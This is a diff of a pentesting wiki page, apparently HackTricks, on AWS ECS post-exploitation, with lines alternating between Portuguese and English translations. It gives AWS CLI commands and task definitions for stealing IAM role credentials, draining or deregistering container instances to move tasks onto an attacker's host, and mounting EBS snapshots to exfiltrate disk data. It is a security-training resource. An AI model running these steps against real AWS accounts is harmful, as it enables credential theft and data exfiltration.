+Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} > [!CAUTION] -> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. +> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced. ### Privesc to node to steal other containers creds & secrets -Além disso, EC2 usa docker para rodar ECs tasks, então se você conseguir escapar para o node ou **acessar o docker socket**, você pode **verificar** quais **outros containers** estão sendo executados, e até **entrar neles** e **roubar os IAM roles** anexados. +But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. #### Making containers run in current host -Além disso, o **EC2 instance role** normalmente terá permissão suficiente para **atualizar o container instance state** das instâncias EC2 que estão sendo usadas como nodes dentro do cluster. Um atacante poderia modificar o **state of an instance to DRAINING**, então ECS irá **remover todas as tasks dela** e as que estão sendo executadas como **REPLICA** serão **executadas em uma instância diferente**, potencialmente dentro da **instância do attacker** para que ele possa **roubar seus IAM roles** e possíveis informações sensíveis de dentro do container. +Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -A mesma técnica pode ser feita desregistrando a **EC2 instance do cluster**. Isso é potencialmente menos furtivo, mas irá **forçar as tasks a serem executadas em outras instâncias:** +A mesma técnica pode ser feita **removendo a instância EC2 do cluster**. Isso é potencialmente menos furtivo, mas irá **forçar as tasks a serem executadas em outras instâncias:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a **task ou container foi parado**. Existem 3 APIs potenciais para fazer isso: +Uma técnica final para forçar a reexecução de tasks é indicar ao ECS que a **task ou container foi parada**. Existem 3 APIs potenciais para fazer isso: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ @@ -50,36 +50,40 @@ aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` -### Steal sensitive info from ECR containers +### Roube informações sensíveis de containers ECR + +A instância EC2 provavelmente também terá a permissão `ecr:GetAuthorizationToken`, permitindo que ela **baixe imagens** (você pode procurar por informações sensíveis nelas). + + + -The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). ### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations) -Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container. +Abuse a integração nativa ECS EBS (2024+) para montar o conteúdo de um snapshot EBS existente diretamente dentro de uma nova task/service do ECS e ler seus dados de dentro do container. -- Needs (minimum): +- Requer (no mínimo): - ecs:RegisterTaskDefinition - One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService - iam:PassRole on: -- ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) -- Task execution/Task roles referenced by the task definition +- função de infraestrutura ECS usada para volumes (política: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task roles referenciadas pela task definition - If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys). -- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs. +- Impacto: Leia conteúdos arbitrários do disco a partir do snapshot (por exemplo, arquivos de banco de dados) dentro do container e exfiltre via rede/logs. -Steps (Fargate example): +Passos (exemplo Fargate): -1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy: +1) Crie a role de infraestrutura do ECS (se não existir) e anexe a managed policy: ```bash aws iam create-role --role-name ecsInfrastructureRole \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ecsInfrastructureRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes ``` -2) Registre uma task definition com um volume marcado `configuredAtLaunch` e monte-o no container. Exemplo (imprime o secret e depois dorme): +2) Registre uma task definition com um volume marcado `configuredAtLaunch` e monte-o no container. Exemplo (imprime o segredo e depois fica em sleep): ```json { "family": "ht-ebs-read", @@ -99,7 +103,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ "volumes": [ {"name":"loot", "configuredAtLaunch": true} ] } ``` -3) Crie ou atualize um serviço passando o snapshot do EBS via `volumeConfigurations.managedEBSVolume` (requer iam:PassRole na infra role). Exemplo: +3) Crie ou atualize um serviço passando o EBS snapshot via `volumeConfigurations.managedEBSVolume` (requer iam:PassRole na role de infra). Exemplo: ```json { "cluster": "ht-ecs-ebs", @@ -113,7 +117,7 @@ aws iam attach-role-policy --role-name ecsInfrastructureRole \ ] } ``` -4) Quando a task inicia, o container pode ler o conteúdo do snapshot no caminho de montagem configurado (por exemplo, `/loot`). Exfiltre pela rede ou pelos logs da task. +4) Quando a task iniciar, o container pode ler o conteúdo do snapshot no caminho de montagem configurado (por exemplo, `/loot`). Exfiltrate via a network/logs da task. Limpeza: ```bash @@ -121,4 +125,8 @@ aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force aws ecs deregister-task-definition ht-ebs-read ``` +## Referências + +- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) + {{#include ../../../../banners/hacktricks-training.md}}